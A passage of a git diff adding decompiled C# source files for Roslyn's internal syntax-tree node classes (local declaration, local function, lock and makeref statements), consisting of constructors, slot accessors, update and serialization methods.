((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + if (usingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal LocalDeclarationStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken? usingKeyword, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + if (usingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal LocalDeclarationStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken? usingKeyword, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + if (usingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => awaitKeyword, + 2 => usingKeyword, + 3 => modifiers, + 4 => declaration, + 5 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLocalDeclarationStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLocalDeclarationStatement(this); + } + + public LocalDeclarationStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || usingKeyword != UsingKeyword || modifiers != Modifiers || declaration != Declaration || semicolonToken != SemicolonToken) + { + LocalDeclarationStatementSyntax localDeclarationStatementSyntax = SyntaxFactory.LocalDeclarationStatement(attributeLists, awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + localDeclarationStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(localDeclarationStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + localDeclarationStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(localDeclarationStatementSyntax, (IEnumerable)annotations); + } + return localDeclarationStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LocalDeclarationStatementSyntax(base.Kind, attributeLists, awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LocalDeclarationStatementSyntax(base.Kind, attributeLists, awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LocalDeclarationStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + awaitKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + usingKeyword = syntaxToken2; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)awaitKeyword); + writer.WriteValue((IObjectWritable)(object)usingKeyword); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static LocalDeclarationStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LocalDeclarationStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LocalDeclarationStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalFunctionStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalFunctionStatementSyntax.cs new file mode 100644 index 0000000..bae2f79 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalFunctionStatementSyntax.cs @@ -0,0 +1,346 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LocalFunctionStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax returnType; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax parameterList; + + internal readonly GreenNode? constraintClauses; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxList Modifiers => new SyntaxList(modifiers); + + public TypeSyntax ReturnType => returnType; + + public SyntaxToken Identifier => identifier; + + public TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public ParameterListSyntax ParameterList => parameterList; + + public SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public BlockSyntax? Body => body; + + public ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal LocalFunctionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal LocalFunctionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal LocalFunctionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, GreenNode? constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => returnType, + 3 => identifier, + 4 => typeParameterList, + 5 => parameterList, + 6 => constraintClauses, + 7 => body, + 8 => expressionBody, + 9 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLocalFunctionStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLocalFunctionStatement(this); + } + + public LocalFunctionStatementSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + LocalFunctionStatementSyntax localFunctionStatementSyntax = SyntaxFactory.LocalFunctionStatement(attributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + localFunctionStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(localFunctionStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + localFunctionStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(localFunctionStatementSyntax, (IEnumerable)annotations); + } + return localFunctionStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LocalFunctionStatementSyntax(base.Kind, attributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LocalFunctionStatementSyntax(base.Kind, attributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LocalFunctionStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 10; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + returnType = typeSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)returnType); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static LocalFunctionStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LocalFunctionStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LocalFunctionStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LockStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LockStatementSyntax.cs new file mode 100644 index 0000000..5351eb6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LockStatementSyntax.cs @@ -0,0 +1,204 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LockStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken lockKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken LockKeyword => lockKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + internal LockStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lockKeyword); + this.lockKeyword = lockKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal LockStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lockKeyword); + this.lockKeyword = lockKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal LockStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lockKeyword); + this.lockKeyword = lockKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => lockKeyword, + 2 => openParenToken, + 3 => expression, + 4 => closeParenToken, + 5 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLockStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLockStatement(this); + } + + public LockStatementSyntax Update(SyntaxList attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || lockKeyword != LockKeyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + LockStatementSyntax lockStatementSyntax = SyntaxFactory.LockStatement(attributeLists, lockKeyword, openParenToken, expression, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + lockStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(lockStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + lockStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(lockStatementSyntax, (IEnumerable)annotations); + } + return lockStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LockStatementSyntax(base.Kind, attributeLists, lockKeyword, openParenToken, expression, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LockStatementSyntax(base.Kind, attributeLists, lockKeyword, openParenToken, expression, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LockStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lockKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)lockKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static LockStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LockStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LockStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MakeRefExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MakeRefExpressionSyntax.cs new file mode 100644 index 0000000..563e02c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/MakeRefExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class MakeRefExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal MakeRefExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken 